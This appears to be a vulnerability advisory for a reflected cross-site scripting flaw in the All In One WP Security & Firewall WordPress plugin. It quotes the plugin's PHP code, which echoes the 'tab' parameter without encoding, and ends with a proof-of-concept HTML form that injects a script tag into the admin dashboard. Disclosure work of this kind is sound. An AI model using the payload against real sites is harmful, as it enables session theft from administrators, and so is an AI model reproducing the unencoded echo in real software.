Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the All In One WP
Security & Firewall Plugin. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

This issue exists in the file admin/wp-security-dashboard-menu.php and is caused due to the lack of output encoding on the tab request parameter.

<div class="inside">
<?php
//Fetch, prepare, sort, and filter our data...
$locked_ip_list->prepare_items();
//echo "put table of locked entries here";
?>
<form id="tables-filter" method="get"
onSubmit="return confirm('Are you sure you want to perform this bulk operation on the selected entries?');">
<!-- For plugins, we also need to ensure that the form posts back to our current page -->
<input type="hidden" name="page" value="<?php echo esc_attr($_REQUEST['page']); ?>"/>
<?php
if (isset($_REQUEST["tab"])) {
echo '<input type="hidden" name="tab" value="' . $_REQUEST["tab"] . '" />';
}
?>
<!-- Now we can render the completed list table -->
<?php $locked_ip_list->display(); ?>
</form>
</div>

In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.


Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=aiowpsec&tab=tab3" method="POST">
<input type="hidden" name="tab" value=""><script>alert(1)</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
